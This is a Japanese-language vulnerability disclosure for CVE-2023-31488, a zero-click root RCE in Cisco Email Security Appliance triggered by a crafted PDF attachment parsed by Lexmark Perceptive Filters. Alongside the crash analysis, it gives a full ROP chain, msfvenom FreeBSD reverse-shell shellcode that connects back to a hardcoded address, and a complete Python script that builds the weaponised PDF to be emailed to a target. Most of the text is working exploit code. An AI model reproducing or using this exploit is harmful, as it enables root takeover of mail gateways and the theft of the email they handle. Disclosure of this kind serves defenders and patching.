
Cisco Email Security Appliance: メールからroot権限でのzero-click RCE - リモートコード実行/メモリ破壊/ROPチェーン
セキュリティ研究者: ly1g3, ly1g3[at]tuta.io
GPG フィンガープリント: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
概要: ルート権限でのゼロクリックRCEに至るメール攻撃 - リモートコード実行/メモリ破壊/ROPチェーン
CVE: CVE-2023-31488
タイムライン:
Cisco Email Security Appliance(ESA)をファジングしている際に、ESA がメール添付ファイルのデータサニタイズに使用する Lexmark Perceptive Filters に脆弱性を発見しました。これにより、メール経由の RCE に至ります。クラッシュは、改変された PDF 添付ファイルを解析する際に発生します。2桁の PDF オブジェクト ID を変更するだけで発生します。例:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
ID の一部を 13 から別の値(スペースなど)に変更すると、次のようになります。
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
この改変した PDF をメールで Cisco ESA に送信すると、libISYSpdf6.so でセグメンテーションフォールトによるクラッシュが発生します。このクラッシュは、r14 に ASCII データが格納されていることが原因です。
詳しく調査すると、このデータは攻撃者が制御可能な PDF 添付ファイルのコンテンツに由来することがわかります。r14 の値は Rect です。
![]()
Rect を AAAA に変更した場合のテスト。
r14 の値は PDF 内のデータからロードされるため、有効なメモリアドレスを指すように変更できます。この調整後、RAX 内の不正なデータが原因で別のクラッシュが発生します。このデータも PDF 由来の ASCII です。
rax も実際のアドレスを指すように PDF を変更し、さらに進めます。

新たなクラッシュが発生します。今度は rsi に PDF 由来の ASCII データが格納されています。

実際のメモリアドレスをロードするように PDF を再度変更します。
最後に、コードの非常に興味深い部分に到達します。ここでは rdi を制御でき、rax に値をロードするために使用されます。このシーケンスの最後の命令は call rax です。コード実行能力の獲得に向けて順調に進んでいます。
再び hex エディタを使用して、rdi にロードされる値を変更します。

これで限定的なコード実行の手段が得られ、単一のアドレスにジャンプできます。ASLR が導入されていないため、メモリアドレスの特定は簡単です。また、rdi も制御できるため、最初の ROP ガジェット libISYSshared.so: push rdi; pop rsp; xor eax, を使用して rdi を rsp に移し、スタックを制御します。スタックを、PDF メモリ領域内の制御可能な領域に向け、そこにさらに多くの ROP ガジェットを仕込んだカスタムスタックを準備します。

msfvenom で生成した FreeBSD リバースシェル用シェルコードを PDF メモリ領域に配置します。ただし、このメモリは実行可能ではないため、最初に実行可能にする必要があります。
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
この時点でスタックを制御しているため、次の ROP チェーンを使用して mmap を呼び出し、シェルコードのメモリ領域を RWX に設定できます。
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
mmap の呼び出し後、call rsp; により、カスタムスタックの次の位置にあるシェルコードの NOP スレッドが実行されます。このシェルコードは msfvenom で生成されたリバースシェルです。
興味深いことに、このコードは静的アンチウイルススキャンの前に実行されるため、標準の Metasploit リバースシェルがそのまま機能します。
以下の POC を使用して、動作する PDF を作成できます。その後、これをメールで ESA に送信するだけで RCE を獲得できます。権限昇格については、私の他の脆弱性情報を参照してください。
これにより、ESA 上でリモートシェルを獲得できます:
これは、メモリ破壊の脆弱性について多くのことを学べた楽しいプロジェクトでした。また、ASLR のような「最新の」メモリ保護がどれほど優れた防御であるかを示すと同時に、ASLR を使用していないシステムがまだ存在することも示しています。
ESA(Cisco Secure Email)に対するオーバーフロー攻撃。ルート権限でのリモートコード実行。
特別に細工された PDF ファイルを送信することで、オーバーフローが発生し、攻撃者は ESA および Lexmark Perceptive Filters を使用する他の製品上で任意のリモートコード実行を獲得できます。
このオーバーフロー攻撃により、攻撃者は call rax 命令を制御できます。ESA では ASLR が使用されていないため、任意のコード実行へと簡単に移行できます。コードはルート権限で実行されます。
この問題は、Lexmark の libISYSpdf6.so ライブラリにおける PDF 解析に起因し、IGR_Open_File_Ex 関数の呼び出しによって引き起こされます。この関数は、safeprint 関数および AMP(Advanced Malware Protection)の image_analysis にたどり着きますが、エクスプロイトは他の経路でもトリガーされる可能性があります。
Subtype/CIDFontType2/FontDescriptor を含む PDF を作成します。サンプルはこちら: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 の一部を別の値(スペースなど)1 に置き換えると、次のようになります:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
safeprint または AMP image_analysis を有効にした ESA に PDF を送信します
これにより、libISYSpdf6.so でセグメンテーションフォールトが発生します
// r14 is now user controlled and point to data in pdf
0x804d4ffc0 mov rax, QWORD PTR [r14+0x18]
rax にロードされたデータは最終的に次の場所に到達するため、RCE に昇格できます:// Call with controlled rax, start of ROP chain
0x804d50298: call rax
import sys
from pwn import *
message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf
For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
Change of pdf_data_base_address may be required.
ly1g3, ly1g3[at]tuta.io
"""
def insert_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
content.insert(at_address+i,addr[i])
def overwrite_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
index = at_address+i
content[index] = addr[i]
def overwrite_string_at_address(content, at_address, content_to_write):
for i in range(len(content_to_write)):
index = at_address+i
content[index] = content_to_write[i]
if len(sys.argv) < 3:
print(message)
sys.exit()
file_in = sys.argv[1]
file_out = sys.argv[2]
content = None
with open(file_in, "rb") as fi:
content = bytearray(fi.read())
pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20
pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00
# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Insert address for r14
# at 0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384
address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)
# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0
#0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)
#0x804e51fc4 add r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)
# 0x804e08536 mov rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)
# 0x804e52286 mov rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
# 0x804e52289 mov rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298 call rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)
# 0x804e5228d mov esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)
# $rdi will after this point to pdf_data_base_address can be used for rop chain
## ROP CHAIN
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0;
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret;
first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)
second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)
stack=0x230
overwrite_at_address(content, stack, rop3,8)
rop_chain_start=0x238
from struct import pack
p = lambda x : pack('Q', x)
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)
rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
rop += buf
print(rop)
overwrite_string_at_address(content, rop_chain_start, rop)
# ROP Chain here
with open(file_out, "wb") as fo:
fo.write(content)